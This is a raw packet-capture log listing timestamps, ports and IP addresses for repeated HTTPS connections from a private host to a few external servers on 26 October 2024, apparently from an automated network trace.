Oct 26, 2024 13:46:31.859453917 CEST	443	49831	23.206.229.209	192.168.2.9
Oct 26, 2024 13:46:31.859546900 CEST	49831	443	192.168.2.9	23.206.229.209
Oct 26, 2024 13:46:31.969894886 CEST	443	49928	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:31.970091105 CEST	443	49928	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:31.970141888 CEST	49928	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:31.970331907 CEST	49928	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:31.970331907 CEST	49928	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:31.970350981 CEST	443	49928	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:31.970370054 CEST	443	49928	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:31.974045038 CEST	49933	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:31.974100113 CEST	443	49933	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:31.974162102 CEST	49933	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:31.974373102 CEST	49933	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:31.974394083 CEST	443	49933	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:32.101982117 CEST	443	49929	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:32.102767944 CEST	49929	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:32.102787018 CEST	443	49929	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:32.103323936 CEST	49929	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:32.103329897 CEST	443	49929	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:32.234963894 CEST	443	49929	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:32.235052109 CEST	443	49929	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:32.235107899 CEST	49929	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:32.235372066 CEST	49929	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:32.235388994 CEST	443	49929	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:32.235399961 CEST	49929	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:32.235405922 CEST	443	49929	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:32.238516092 CEST	49934	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:32.238552094 CEST	443	49934	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:32.238660097 CEST	49934	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:32.238835096 CEST	49934	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:32.238848925 CEST	443	49934	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:32.454080105 CEST	443	49930	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:32.454571009 CEST	49930	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:32.454591036 CEST	443	49930	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:32.455132008 CEST	49930	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:32.455137968 CEST	443	49930	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:32.529485941 CEST	443	49932	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:32.530044079 CEST	49932	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:32.530062914 CEST	443	49932	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:32.530685902 CEST	49932	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:32.530699968 CEST	443	49932	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:32.542759895 CEST	443	49931	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:32.543215036 CEST	49931	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:32.543235064 CEST	443	49931	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:32.543715000 CEST	49931	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:32.543720961 CEST	443	49931	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:32.589078903 CEST	443	49930	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:32.589181900 CEST	443	49930	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:32.589260101 CEST	49930	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:32.589457035 CEST	49930	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:32.589474916 CEST	443	49930	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:32.589488983 CEST	49930	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:32.589493990 CEST	443	49930	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:32.592658043 CEST	49935	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:32.592720985 CEST	443	49935	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:32.593045950 CEST	49935	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:32.593221903 CEST	49935	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:32.593239069 CEST	443	49935	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:32.661236048 CEST	443	49932	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:32.661323071 CEST	443	49932	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:32.661433935 CEST	49932	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:32.661699057 CEST	49932	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:32.661699057 CEST	49932	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:32.661710978 CEST	443	49932	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:32.661720037 CEST	443	49932	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:32.664985895 CEST	49936	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:32.665047884 CEST	443	49936	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:32.665149927 CEST	49936	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:32.665529013 CEST	49936	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:32.665566921 CEST	443	49936	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:32.675590992 CEST	443	49931	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:32.675630093 CEST	443	49931	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:32.675687075 CEST	443	49931	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:32.675729036 CEST	49931	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:32.675753117 CEST	49931	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:32.675973892 CEST	49931	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:32.675995111 CEST	443	49931	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:32.676008940 CEST	49931	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:32.676014900 CEST	443	49931	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:32.678628922 CEST	49937	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:32.678668976 CEST	443	49937	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:32.678745031 CEST	49937	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:32.678908110 CEST	49937	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:32.678925037 CEST	443	49937	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:32.697299004 CEST	443	49933	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:32.697999954 CEST	49933	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:32.698055029 CEST	443	49933	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:32.698729038 CEST	49933	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:32.698741913 CEST	443	49933	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:32.824279070 CEST	443	49933	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:32.824315071 CEST	443	49933	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:32.824371099 CEST	443	49933	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:32.824420929 CEST	49933	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:32.824462891 CEST	49933	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:32.824708939 CEST	49933	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:32.824739933 CEST	443	49933	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:32.824754953 CEST	49933	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:32.824763060 CEST	443	49933	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:32.828095913 CEST	49938	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:32.828139067 CEST	443	49938	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:32.828421116 CEST	49938	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:32.828421116 CEST	49938	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:32.828461885 CEST	443	49938	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:32.971628904 CEST	443	49934	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:32.972276926 CEST	49934	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:32.972294092 CEST	443	49934	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:32.972786903 CEST	49934	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:32.972791910 CEST	443	49934	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:33.101625919 CEST	443	49934	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:33.101809978 CEST	443	49934	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:33.101928949 CEST	49934	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:33.101928949 CEST	49934	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:33.102085114 CEST	49934	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:33.102098942 CEST	443	49934	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:33.104929924 CEST	49939	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:33.104944944 CEST	443	49939	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:33.105015993 CEST	49939	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:33.105176926 CEST	49939	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:33.105195999 CEST	443	49939	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:33.337670088 CEST	443	49935	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:33.339632988 CEST	49935	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:33.339662075 CEST	443	49935	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:33.340163946 CEST	49935	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:33.340169907 CEST	443	49935	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:33.406028032 CEST	443	49937	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:33.406758070 CEST	49937	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:33.406769991 CEST	443	49937	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:33.407219887 CEST	49937	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:33.407224894 CEST	443	49937	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:33.413285017 CEST	443	49936	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:33.413707018 CEST	49936	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:33.413757086 CEST	443	49936	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:33.414444923 CEST	49936	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:33.414470911 CEST	443	49936	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:33.470685005 CEST	443	49935	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:33.470726967 CEST	443	49935	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:33.470786095 CEST	443	49935	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:33.470834970 CEST	49935	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:33.470889091 CEST	49935	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:33.471510887 CEST	49935	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:33.471535921 CEST	443	49935	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:33.471551895 CEST	49935	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:33.471559048 CEST	443	49935	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:33.475676060 CEST	49940	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:33.475725889 CEST	443	49940	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:33.475820065 CEST	49940	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:33.481724024 CEST	49940	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:33.481755018 CEST	443	49940	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:33.535551071 CEST	443	49937	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:33.535631895 CEST	443	49937	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:33.537198067 CEST	49937	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:33.537282944 CEST	49937	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:33.537298918 CEST	443	49937	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:33.537309885 CEST	49937	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:33.537317038 CEST	443	49937	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:33.540380955 CEST	49941	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:33.540421963 CEST	443	49941	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:33.540477037 CEST	49941	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:33.540651083 CEST	49941	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:33.540663004 CEST	443	49941	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:33.546053886 CEST	443	49936	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:33.546123981 CEST	443	49936	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:33.546186924 CEST	49936	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:33.546356916 CEST	49936	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:33.546382904 CEST	443	49936	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:33.546397924 CEST	49936	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:33.546406031 CEST	443	49936	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:33.548557043 CEST	49942	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:33.548579931 CEST	443	49942	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:33.548696041 CEST	49942	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:33.548909903 CEST	49942	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:33.548918009 CEST	443	49942	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:33.578064919 CEST	443	49938	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:33.579909086 CEST	49938	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:33.579921961 CEST	443	49938	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:33.580527067 CEST	49938	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:33.580533981 CEST	443	49938	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:33.711483002 CEST	443	49938	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:33.711551905 CEST	443	49938	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:33.711612940 CEST	49938	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:33.711833954 CEST	49938	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:33.711853981 CEST	443	49938	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:33.711868048 CEST	49938	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:33.711883068 CEST	443	49938	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:33.714838028 CEST	49943	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:33.714888096 CEST	443	49943	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:33.714961052 CEST	49943	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:33.715117931 CEST	49943	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:33.715128899 CEST	443	49943	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:33.839653015 CEST	443	49939	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:33.840154886 CEST	49939	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:33.840173960 CEST	443	49939	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:33.840635061 CEST	49939	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:33.840641022 CEST	443	49939	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:33.971304893 CEST	443	49939	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:33.971354961 CEST	443	49939	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:33.971400023 CEST	443	49939	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:33.971455097 CEST	49939	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:33.971479893 CEST	49939	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:33.972114086 CEST	49939	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:33.972130060 CEST	443	49939	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:33.972142935 CEST	49939	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:33.972147942 CEST	443	49939	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:33.974781990 CEST	49944	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:33.974821091 CEST	443	49944	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:33.974911928 CEST	49944	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:33.975058079 CEST	49944	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:33.975069046 CEST	443	49944	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:34.235761881 CEST	443	49940	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:34.236303091 CEST	49940	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:34.236320972 CEST	443	49940	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:34.237123013 CEST	49940	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:34.237127066 CEST	443	49940	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:34.276549101 CEST	443	49941	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:34.277141094 CEST	49941	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:34.277157068 CEST	443	49941	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:34.277570009 CEST	49941	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:34.277575016 CEST	443	49941	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:34.302915096 CEST	443	49942	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:34.303440094 CEST	49942	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:34.303448915 CEST	443	49942	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:34.303848028 CEST	49942	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:34.303853989 CEST	443	49942	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:34.369918108 CEST	443	49940	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:34.369998932 CEST	443	49940	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:34.370058060 CEST	49940	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:34.370277882 CEST	49940	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:34.370291948 CEST	443	49940	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:34.370302916 CEST	49940	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:34.370307922 CEST	443	49940	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:34.372987986 CEST	49945	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:34.373034954 CEST	443	49945	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:34.373238087 CEST	49945	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:34.373405933 CEST	49945	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:34.373420000 CEST	443	49945	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:34.406388998 CEST	443	49941	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:34.406478882 CEST	443	49941	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:34.406594992 CEST	49941	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:34.406900883 CEST	49941	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:34.406920910 CEST	443	49941	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:34.406935930 CEST	49941	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:34.406943083 CEST	443	49941	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:34.410059929 CEST	49946	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:34.410123110 CEST	443	49946	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:34.410203934 CEST	49946	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:34.410348892 CEST	49946	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:34.410366058 CEST	443	49946	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:34.437247038 CEST	443	49942	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:34.437336922 CEST	443	49942	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:34.437397957 CEST	49942	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:34.437585115 CEST	49942	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:34.437608957 CEST	443	49942	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:34.437619925 CEST	49942	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:34.437625885 CEST	443	49942	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:34.440645933 CEST	49947	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:34.440690994 CEST	443	49947	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:34.440798998 CEST	49947	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:34.440969944 CEST	49947	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:34.440984964 CEST	443	49947	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:34.444159031 CEST	443	49943	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:34.444643974 CEST	49943	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:34.444670916 CEST	443	49943	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:34.445133924 CEST	49943	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:34.445138931 CEST	443	49943	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:34.575109959 CEST	443	49943	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:34.575184107 CEST	443	49943	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:34.575289965 CEST	49943	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:34.575519085 CEST	49943	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:34.575519085 CEST	49943	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:34.575539112 CEST	443	49943	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:34.575550079 CEST	443	49943	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:34.578629017 CEST	49948	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:34.578674078 CEST	443	49948	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:34.578769922 CEST	49948	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:34.578965902 CEST	49948	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:34.578979015 CEST	443	49948	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:34.722337961 CEST	443	49944	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:34.722908020 CEST	49944	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:34.722940922 CEST	443	49944	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:34.723443985 CEST	49944	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:34.723452091 CEST	443	49944	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:34.854567051 CEST	443	49944	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:34.854645014 CEST	443	49944	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:34.854712009 CEST	49944	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:34.854909897 CEST	49944	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:34.854926109 CEST	443	49944	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:34.854948997 CEST	49944	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:34.854955912 CEST	443	49944	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:34.858177900 CEST	49949	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:34.858227968 CEST	443	49949	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:34.858489990 CEST	49949	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:34.858489990 CEST	49949	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:34.858521938 CEST	443	49949	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:35.114552975 CEST	443	49945	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:35.115211010 CEST	49945	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:35.115240097 CEST	443	49945	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:35.115603924 CEST	49945	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:35.115613937 CEST	443	49945	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:35.146497965 CEST	443	49946	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:35.147047997 CEST	49946	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:35.147089005 CEST	443	49946	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:35.147428989 CEST	49946	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:35.147435904 CEST	443	49946	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:35.190664053 CEST	443	49947	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:35.191164017 CEST	49947	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:35.191195011 CEST	443	49947	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:35.191610098 CEST	49947	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:35.191617012 CEST	443	49947	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:35.246387005 CEST	443	49945	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:35.246468067 CEST	443	49945	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:35.246552944 CEST	49945	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:35.246802092 CEST	49945	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:35.246822119 CEST	443	49945	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:35.246833086 CEST	49945	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:35.246839046 CEST	443	49945	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:35.249908924 CEST	49950	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:35.249948978 CEST	443	49950	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:35.250051022 CEST	49950	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:35.250228882 CEST	49950	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:35.250240088 CEST	443	49950	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:35.283677101 CEST	443	49946	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:35.283762932 CEST	443	49946	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:35.283824921 CEST	49946	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:35.284033060 CEST	49946	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:35.284055948 CEST	443	49946	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:35.284063101 CEST	49946	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:35.284068108 CEST	443	49946	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:35.287249088 CEST	49951	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:35.287290096 CEST	443	49951	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:35.287470102 CEST	49951	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:35.287600994 CEST	49951	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:35.287611961 CEST	443	49951	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:35.324389935 CEST	443	49947	13.107.246.42	192.168.2.9
